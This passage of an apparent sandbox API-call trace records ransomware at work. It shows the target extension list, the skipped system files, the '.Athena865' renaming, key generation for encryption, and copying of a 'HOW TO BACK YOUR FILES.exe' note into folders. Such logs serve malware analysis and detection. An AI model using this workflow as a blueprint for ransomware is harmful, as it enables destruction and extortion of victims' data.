lstrcmpiW (lpString1="dll", lpString2="vpd") returned -1 [0090.293] lstrlenW (lpString="vvv") returned 3 [0090.293] lstrcmpiW (lpString1="dll", lpString2="vvv") returned -1 [0090.293] lstrlenW (lpString="wdb") returned 3 [0090.293] lstrcmpiW (lpString1="dll", lpString2="wdb") returned -1 [0090.293] lstrlenW (lpString="wmdb") returned 4 [0090.293] lstrcmpiW (lpString1=".dll", lpString2="wmdb") returned -1 [0090.293] lstrlenW (lpString="wrk") returned 3 [0090.293] lstrcmpiW (lpString1="dll", lpString2="wrk") returned -1 [0090.293] lstrlenW (lpString="xdb") returned 3 [0090.293] lstrcmpiW (lpString1="dll", lpString2="xdb") returned -1 [0090.293] lstrlenW (lpString="xld") returned 3 [0090.293] lstrcmpiW (lpString1="dll", lpString2="xld") returned -1 [0090.293] lstrlenW (lpString="xmlff") returned 5 [0090.293] lstrcmpiW (lpString1="5.dll", lpString2="xmlff") returned -1 [0090.294] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft SQL Server Compact Edition\\v3.5\\sqlceqp35.dll.Athena865") returned 82 [0090.294] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft SQL Server Compact Edition\\v3.5\\sqlceqp35.dll" (normalized: "c:\\program files\\microsoft sql server compact edition\\v3.5\\sqlceqp35.dll"), lpNewFileName="C:\\Program Files\\Microsoft SQL Server Compact Edition\\v3.5\\sqlceqp35.dll.Athena865" (normalized: "c:\\program files\\microsoft sql server compact edition\\v3.5\\sqlceqp35.dll.athena865"), dwFlags=0x1) returned 1 [0090.295] CreateFileW (lpFileName="C:\\Program Files\\Microsoft SQL Server Compact Edition\\v3.5\\sqlceqp35.dll.Athena865" (normalized: "c:\\program files\\microsoft sql server compact edition\\v3.5\\sqlceqp35.dll.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0090.295] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=1134144) returned 1 [0090.295] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0090.295] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x5391d0 [0090.295] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x519008 [0090.295] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x518f80) returned 1 [0090.296] CryptGenRandom (in: hProv=0x518f80, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0090.296] CryptReleaseContext (hProv=0x518f80, dwFlags=0x0) returned 1 [0090.296] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x115140, lpName=0x0) returned 0x154 [0090.299] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x115140) returned 0x2d50000 [0090.366] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x518f80) returned 1 [0090.367] CryptGenRandom (in: hProv=0x518f80, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0090.367] CryptReleaseContext (hProv=0x518f80, dwFlags=0x0) returned 1 [0090.367] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x539248 [0090.367] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x539248 | out: hHeap=0x4f0000) returned 1 [0090.367] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x52ba90 [0090.367] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0090.367] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ba90 | out: hHeap=0x4f0000) returned 1 [0090.367] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0090.367] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x52ba90 [0090.367] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0090.367] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ba90 | out: hHeap=0x4f0000) returned 1 [0090.367] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0090.367] UnmapViewOfFile (lpBaseAddress=0x2d50000) returned 1 [0090.377] CloseHandle (hObject=0x154) returned 1 [0090.377] CloseHandle (hObject=0x17c) returned 1 [0090.377] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5391d0 | out: hHeap=0x4f0000) returned 1 [0090.377] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x519008 | out: hHeap=0x4f0000) returned 1 [0090.377] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0090.382] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdeb18300, ftCreationTime.dwHighDateTime=0x1c8d68c, ftLastAccessTime.dwLowDateTime=0x5abbba30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xdeb18300, ftLastWriteTime.dwHighDateTime=0x1c8d68c, nFileSizeHigh=0x0, nFileSizeLow=0x9d640, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="sqlcese35.dll", cAlternateFileName="SQLCES~1.DLL")) returned 1 [0090.382] lstrcmpiW (lpString1="sqlcese35.dll", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0090.382] lstrcmpiW (lpString1="sqlcese35.dll", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0090.382] lstrcmpiW (lpString1="sqlcese35.dll", lpString2=".") returned 1 [0090.382] lstrcmpiW (lpString1="sqlcese35.dll", lpString2="..") returned 1 [0090.382] lstrcmpiW (lpString1="sqlcese35.dll", lpString2="windows") returned -1 [0090.382] lstrcmpiW (lpString1="sqlcese35.dll", lpString2="bootmgr") returned 1 [0090.382] lstrcmpiW (lpString1="sqlcese35.dll", lpString2="temp") returned -1 [0090.382] lstrcmpiW (lpString1="sqlcese35.dll", lpString2="pagefile.sys") returned 1 [0090.382] lstrcmpiW (lpString1="sqlcese35.dll", lpString2="boot") returned 1 [0090.382] lstrcmpiW (lpString1="sqlcese35.dll", lpString2="ids.txt") returned 1 [0090.382] lstrcmpiW (lpString1="sqlcese35.dll", lpString2="ntuser.dat") returned 1 [0090.382] lstrcmpiW (lpString1="sqlcese35.dll", lpString2="perflogs") returned 1 [0090.382] lstrcmpiW (lpString1="sqlcese35.dll", lpString2="MSBuild") returned 1 [0090.382] lstrlenW (lpString="sqlcese35.dll") returned 13 [0090.382] lstrcpyW (in: lpString1=0x241e8be, lpString2="sqlcese35.dll" | out: lpString1="sqlcese35.dll") returned="sqlcese35.dll" [0090.382] lstrlenW (lpString="sqlcese35.dll") returned 13 [0090.382] lstrlenW (lpString="Athena865") returned 9 [0090.382] lstrcmpiW (lpString1="ese35.dll", lpString2="Athena865") returned 1 [0090.382] lstrlenW (lpString=".dll") returned 4 [0090.382] lstrcmpiW (lpString1="sqlcese35.dll", lpString2=".dll") returned 1 [0090.382] lstrlenW (lpString=".lnk") returned 4 [0090.382] lstrcmpiW (lpString1="sqlcese35.dll", lpString2=".lnk") returned 1 [0090.382] lstrlenW (lpString=".ini") returned 4 [0090.382] lstrcmpiW (lpString1="sqlcese35.dll", lpString2=".ini") returned 1 [0090.382] lstrlenW (lpString=".sys") returned 4 [0090.382] lstrcmpiW (lpString1="sqlcese35.dll", lpString2=".sys") returned 1 [0090.382] lstrlenW (lpString="sqlcese35.dll") returned 13 [0090.383] lstrlenW (lpString="bak") returned 3 [0090.383] lstrcmpiW (lpString1="dll", lpString2="bak") returned 1 [0090.383] lstrlenW (lpString="ba_") returned 3 [0090.383] lstrcmpiW (lpString1="dll", lpString2="ba_") returned 1 [0090.383] lstrlenW (lpString="dbb") returned 3 [0090.383] lstrcmpiW (lpString1="dll", lpString2="dbb") returned 1 [0090.383] lstrlenW (lpString="vmdk") returned 4 [0090.383] lstrcmpiW (lpString1=".dll", lpString2="vmdk") returned -1 [0090.383] lstrlenW (lpString="rar") returned 3 [0090.383] lstrcmpiW (lpString1="dll", lpString2="rar") returned -1 [0090.383] lstrlenW (lpString="zip") returned 3 [0090.383] lstrcmpiW (lpString1="dll", lpString2="zip") returned -1 [0090.383] lstrlenW (lpString="tgz") returned 3 [0090.383] lstrcmpiW (lpString1="dll", lpString2="tgz") returned -1 [0090.383] lstrlenW (lpString="vbox") returned 4 [0090.383] lstrcmpiW (lpString1=".dll", lpString2="vbox") returned -1 [0090.383] lstrlenW (lpString="vdi") returned 3 [0090.383] lstrcmpiW (lpString1="dll", lpString2="vdi") returned -1 [0090.383] lstrlenW (lpString="vhd") returned 3 [0090.383] lstrcmpiW (lpString1="dll", lpString2="vhd") returned -1 [0090.383] lstrlenW (lpString="vhdx") returned 4 [0090.383] lstrcmpiW (lpString1=".dll", lpString2="vhdx") returned -1 [0090.383] lstrlenW (lpString="avhd") returned 4 [0090.383] lstrcmpiW (lpString1=".dll", lpString2="avhd") returned -1 [0090.383] lstrlenW (lpString="db") returned 2 [0090.383] lstrcmpiW (lpString1="ll", lpString2="db") returned 1 [0090.383] lstrlenW (lpString="db2") returned 3 [0090.383] lstrcmpiW (lpString1="dll", lpString2="db2") returned 1 [0090.383] lstrlenW (lpString="db3") returned 3 [0090.383] lstrcmpiW (lpString1="dll", lpString2="db3") returned 1 [0090.383] lstrlenW (lpString="dbf") returned 3 [0090.383] lstrcmpiW (lpString1="dll", lpString2="dbf") returned 1 [0090.384] lstrlenW (lpString="mdf") returned 3 [0090.384] lstrcmpiW (lpString1="dll", lpString2="mdf") returned -1 [0090.384] lstrlenW (lpString="mdb") returned 3 [0090.384] lstrcmpiW (lpString1="dll", lpString2="mdb") returned -1 [0090.384] lstrlenW (lpString="sql") returned 3 [0090.384] lstrcmpiW (lpString1="dll", lpString2="sql") returned -1 [0090.384] lstrlenW (lpString="sqlite") returned 6 [0090.384] lstrcmpiW (lpString1="35.dll", lpString2="sqlite") returned -1 [0090.384] lstrlenW (lpString="sqlite3") returned 7 [0090.384] lstrcmpiW (lpString1="e35.dll", lpString2="sqlite3") returned -1 [0090.384] lstrlenW (lpString="sqlitedb") returned 8 [0090.384] lstrcmpiW (lpString1="se35.dll", lpString2="sqlitedb") returned -1 [0090.384] lstrlenW (lpString="xml") returned 3 [0090.384] lstrcmpiW (lpString1="dll", lpString2="xml") returned -1 [0090.384] lstrlenW (lpString="$er") returned 3 [0090.384] lstrcmpiW (lpString1="dll", lpString2="$er") returned 1 [0090.384] lstrlenW (lpString="4dd") returned 3 [0090.384] lstrcmpiW (lpString1="dll", lpString2="4dd") returned 1 [0090.384] lstrlenW (lpString="4dl") returned 3 [0090.384] lstrcmpiW (lpString1="dll", lpString2="4dl") returned 1 [0090.384] lstrlenW (lpString="^^^") returned 3 [0090.384] lstrcmpiW (lpString1="dll", lpString2="^^^") returned 1 [0090.384] lstrlenW (lpString="abs") returned 3 [0090.384] lstrcmpiW (lpString1="dll", lpString2="abs") returned 1 [0090.384] lstrlenW (lpString="abx") returned 3 [0090.384] lstrcmpiW (lpString1="dll", lpString2="abx") returned 1 [0090.384] lstrlenW (lpString="accdb") returned 5 [0090.384] lstrcmpiW (lpString1="5.dll", lpString2="accdb") returned -1 [0090.384] lstrlenW (lpString="accdc") returned 5 [0090.384] lstrcmpiW (lpString1="5.dll", lpString2="accdc") returned -1 [0090.384] lstrlenW (lpString="accde") returned 5 [0090.385] lstrcmpiW (lpString1="5.dll", lpString2="accde") returned -1 [0090.385] lstrlenW (lpString="accdr") returned 5 [0090.385] lstrcmpiW (lpString1="5.dll", lpString2="accdr") returned -1 [0090.385] lstrlenW (lpString="accdt") returned 5 [0090.385] lstrcmpiW (lpString1="5.dll", lpString2="accdt") returned -1 [0090.385] lstrlenW (lpString="accdw") returned 5 [0090.385] lstrcmpiW (lpString1="5.dll", lpString2="accdw") returned -1 [0090.385] lstrlenW (lpString="accft") returned 5 [0090.385] lstrcmpiW (lpString1="5.dll", lpString2="accft") returned -1 [0090.385] lstrlenW (lpString="adb") returned 3 [0090.385] lstrcmpiW (lpString1="dll", lpString2="adb") returned 1 [0090.385] lstrlenW (lpString="adb") returned 3 [0090.385] lstrcmpiW (lpString1="dll", lpString2="adb") returned 1 [0090.385] lstrlenW (lpString="ade") returned 3 [0090.385] lstrcmpiW (lpString1="dll", lpString2="ade") returned 1 [0090.385] lstrlenW (lpString="adf") returned 3 [0090.385] lstrcmpiW (lpString1="dll", lpString2="adf") returned 1 [0090.385] lstrlenW (lpString="adn") returned 3 [0090.385] lstrcmpiW (lpString1="dll", lpString2="adn") returned 1 [0090.385] lstrlenW (lpString="adp") returned 3 [0090.385] lstrcmpiW (lpString1="dll", lpString2="adp") returned 1 [0090.385] lstrlenW (lpString="alf") returned 3 [0090.385] lstrcmpiW (lpString1="dll", lpString2="alf") returned 1 [0090.385] lstrlenW (lpString="ask") returned 3 [0090.385] lstrcmpiW (lpString1="dll", lpString2="ask") returned 1 [0090.385] lstrlenW (lpString="btr") returned 3 [0090.385] lstrcmpiW (lpString1="dll", lpString2="btr") returned 1 [0090.385] lstrlenW (lpString="cat") returned 3 [0090.385] lstrcmpiW (lpString1="dll", lpString2="cat") returned 1 [0090.385] lstrlenW (lpString="cdb") returned 3 [0090.385] lstrcmpiW (lpString1="dll", lpString2="cdb") returned 1 [0090.385] lstrlenW (lpString="ckp") returned 3 [0090.386] lstrcmpiW (lpString1="dll", lpString2="ckp") returned 1 [0090.386] lstrlenW (lpString="cma") returned 3 [0090.386] lstrcmpiW (lpString1="dll", lpString2="cma") returned 1 [0090.386] lstrlenW (lpString="cpd") returned 3 [0090.386] lstrcmpiW (lpString1="dll", lpString2="cpd") returned 1 [0090.386] lstrlenW (lpString="dacpac") returned 6 [0090.386] lstrcmpiW (lpString1="35.dll", lpString2="dacpac") returned -1 [0090.386] lstrlenW (lpString="dad") returned 3 [0090.386] lstrcmpiW (lpString1="dll", lpString2="dad") returned 1 [0090.386] lstrlenW (lpString="dadiagrams") returned 10 [0090.386] lstrcmpiW (lpString1="cese35.dll", lpString2="dadiagrams") returned -1 [0090.386] lstrlenW (lpString="daschema") returned 8 [0090.386] lstrcmpiW (lpString1="se35.dll", lpString2="daschema") returned 1 [0090.386] lstrlenW (lpString="db-journal") returned 10 [0090.386] lstrcmpiW (lpString1="cese35.dll", lpString2="db-journal") returned -1 [0090.386] lstrlenW (lpString="db-shm") returned 6 [0090.386] lstrcmpiW (lpString1="35.dll", lpString2="db-shm") returned -1 [0090.386] lstrlenW (lpString="db-wal") returned 6 [0090.386] lstrcmpiW (lpString1="35.dll", lpString2="db-wal") returned -1 [0090.386] lstrlenW (lpString="dbc") returned 3 [0090.386] lstrcmpiW (lpString1="dll", lpString2="dbc") returned 1 [0090.386] lstrlenW (lpString="dbs") returned 3 [0090.386] lstrcmpiW (lpString1="dll", lpString2="dbs") returned 1 [0090.386] lstrlenW (lpString="dbt") returned 3 [0090.386] lstrcmpiW (lpString1="dll", lpString2="dbt") returned 1 [0090.386] lstrlenW (lpString="dbv") returned 3 [0090.386] lstrcmpiW (lpString1="dll", lpString2="dbv") returned 1 [0090.386] lstrlenW (lpString="dbx") returned 3 [0090.386] lstrcmpiW (lpString1="dll", lpString2="dbx") returned 1 [0090.386] lstrlenW (lpString="dcb") returned 3 [0090.386] lstrcmpiW (lpString1="dll", lpString2="dcb") returned 1 [0090.387] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft SQL Server Compact Edition\\v3.5\\sqlcese35.dll.Athena865") returned 82 [0090.387] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft SQL Server Compact Edition\\v3.5\\sqlcese35.dll" (normalized: "c:\\program files\\microsoft sql server compact edition\\v3.5\\sqlcese35.dll"), lpNewFileName="C:\\Program Files\\Microsoft SQL Server Compact Edition\\v3.5\\sqlcese35.dll.Athena865" (normalized: "c:\\program files\\microsoft sql server compact edition\\v3.5\\sqlcese35.dll.athena865"), dwFlags=0x1) returned 1 [0090.388] CreateFileW (lpFileName="C:\\Program Files\\Microsoft SQL Server Compact Edition\\v3.5\\sqlcese35.dll.Athena865" (normalized: "c:\\program files\\microsoft sql server compact edition\\v3.5\\sqlcese35.dll.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0090.388] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=644672) returned 1 [0090.388] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0090.388] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x5391d0 [0090.388] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x519008 [0090.388] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x518f80) returned 1 [0090.389] CryptGenRandom (in: hProv=0x518f80, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0090.389] CryptReleaseContext (hProv=0x518f80, dwFlags=0x0) returned 1 [0090.389] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x9d940, lpName=0x0) returned 0x154 [0090.391] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x9d940) returned 0x2d50000 [0090.411] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x518f80) returned 1 [0090.412] CryptGenRandom (in: hProv=0x518f80, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0090.412] CryptReleaseContext (hProv=0x518f80, dwFlags=0x0) returned 1 [0090.412] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x539248 [0090.412] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x539248 | out: hHeap=0x4f0000) returned 1 [0090.412] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x52ba90 [0090.412] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0090.412] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ba90 | out: hHeap=0x4f0000) returned 1 [0090.412] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0090.412] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x52ba90 [0090.412] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0090.412] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ba90 | out: hHeap=0x4f0000) returned 1 [0090.412] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0090.412] UnmapViewOfFile (lpBaseAddress=0x2d50000) returned 1 [0090.418] CloseHandle (hObject=0x154) returned 1 [0090.418] CloseHandle (hObject=0x17c) returned 1 [0090.418] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5391d0 | out: hHeap=0x4f0000) returned 1 [0090.418] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x519008 | out: hHeap=0x4f0000) returned 1 [0090.418] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0090.421] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdeb18300, ftCreationTime.dwHighDateTime=0x1c8d68c, ftLastAccessTime.dwLowDateTime=0x5abbba30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xdeb18300, ftLastWriteTime.dwHighDateTime=0x1c8d68c, nFileSizeHigh=0x0, nFileSizeLow=0x9d640, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="sqlcese35.dll", cAlternateFileName="SQLCES~1.DLL")) returned 0 [0090.421] FindClose (in: hFindFile=0x529410 | out: hFindFile=0x529410) returned 1 [0090.421] ReleaseMutex (hMutex=0xec) returned 1 [0090.421] CloseHandle (hObject=0xec) returned 1 [0090.421] lstrcpyW (in: lpString1=0x241e848, lpString2="C:\\Program Files\\Microsoft Sync Framework\\v1.0" | out: lpString1="C:\\Program Files\\Microsoft Sync Framework\\v1.0") returned="C:\\Program Files\\Microsoft Sync Framework\\v1.0" [0090.421] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x51ba18 | out: hHeap=0x4f0000) returned 1 [0090.421] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x50c368 | out: hHeap=0x4f0000) returned 1 [0090.421] lstrlenW (lpString="C:\\Program Files\\Microsoft Sync Framework\\v1.0") returned 46 [0090.421] CreateMutexA (lpMutexAttributes=0x0, bInitialOwner=0, lpName="Global\\F2D224CAD7882CAFC2977011814079D1") returned 0xec [0090.421] WaitForSingleObject (hHandle=0xec, dwMilliseconds=0x0) returned 0x0 [0090.421] lstrcatW (in: lpString1="", lpString2="C:\\Program Files\\Microsoft Sync Framework\\v1.0" | out: lpString1="C:\\Program Files\\Microsoft Sync Framework\\v1.0") returned="C:\\Program Files\\Microsoft Sync Framework\\v1.0" [0090.421] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe" [0090.421] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files\\Microsoft Sync Framework\\v1.0\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files\\microsoft sync framework\\v1.0\\how to back your files.exe"), bFailIfExists=1) returned 0 [0090.422] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Sync Framework\\v1.0\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files\\microsoft sync framework\\v1.0\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf4 [0090.422] GetLastError () returned 0x0 [0090.422] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x241e480 | out: lpFileSize=0x241e480*=28672) returned 1 [0090.422] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x7000) returned 0x53ad08 [0090.422] ReadFile (in: hFile=0xf4, lpBuffer=0x53ad08, nNumberOfBytesToRead=0x7000, lpNumberOfBytesRead=0x241e47c, lpOverlapped=0x0 | out: lpBuffer=0x53ad08*, lpNumberOfBytesRead=0x241e47c*=0x7000, lpOverlapped=0x0) returned 1 [0090.423] CloseHandle (hObject=0xf4) returned 1 [0090.423] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x53ad08 | out: hHeap=0x4f0000) returned 1 [0090.423] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*" [0090.423] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Sync Framework\\v1.0\\*", lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50e7acd0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xbe8d90c0, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbe8d90c0, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x529410 [0090.423] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0090.423] lstrcmpiW (lpString1=".", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0090.423] lstrcmpiW (lpString1=".", lpString2=".") returned 0 [0090.423] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50e7acd0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xbe8d90c0, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbe8d90c0, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0090.424] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0090.424] lstrcmpiW (lpString1="..", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0090.424] lstrcmpiW (lpString1="..", lpString2=".") returned 1 [0090.424] lstrcmpiW (lpString1="..", lpString2="..") returned 0 [0090.424] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6626d2b0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6626d2b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6626d2b0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Documentation", cAlternateFileName="DOCUME~1")) returned 1 [0090.424] lstrcmpiW (lpString1="Documentation", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0090.424] lstrcmpiW (lpString1="Documentation", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0090.424] lstrcmpiW (lpString1="Documentation", lpString2=".") returned 1 [0090.424] lstrcmpiW (lpString1="Documentation", lpString2="..") returned 1 [0090.424] lstrcmpiW (lpString1="Documentation", lpString2="windows") returned -1 [0090.424] lstrcmpiW (lpString1="Documentation", lpString2="bootmgr") returned 1 [0090.424] lstrcmpiW (lpString1="Documentation", lpString2="temp") returned -1 [0090.424] lstrcmpiW (lpString1="Documentation", lpString2="pagefile.sys") returned -1 [0090.424] lstrcmpiW (lpString1="Documentation", lpString2="boot") returned 1 [0090.424] lstrcmpiW (lpString1="Documentation", lpString2="ids.txt") returned -1 [0090.424] lstrcmpiW (lpString1="Documentation", lpString2="ntuser.dat") returned -1 [0090.424] lstrcmpiW (lpString1="Documentation", lpString2="perflogs") returned -1 [0090.424] lstrcmpiW (lpString1="Documentation", lpString2="MSBuild") returned -1 [0090.424] lstrlenW (lpString="Documentation") returned 13 [0090.424] lstrcpyW (in: lpString1=0x241e8a6, lpString2="Documentation" | out: lpString1="Documentation") returned="Documentation" [0090.424] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x50c368 [0090.424] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x7a) returned 0x519008 [0090.424] lstrcatW (in: lpString1="Documentation", lpString2="\\" | out: lpString1="Documentation\\") returned="Documentation\\" [0090.424] lstrcatW (in: lpString1="Documentation\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="Documentation\\HOW TO BACK YOUR FILES.exe") returned="Documentation\\HOW TO BACK YOUR FILES.exe" [0090.424] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files\\Microsoft Sync Framework\\v1.0\\Documentation\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files\\microsoft sync framework\\v1.0\\documentation\\how to back your files.exe"), bFailIfExists=1) returned 1 [0090.429] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbe8d90c0, ftCreationTime.dwHighDateTime=0x1d575b6, ftLastAccessTime.dwLowDateTime=0xbe8d90c0, 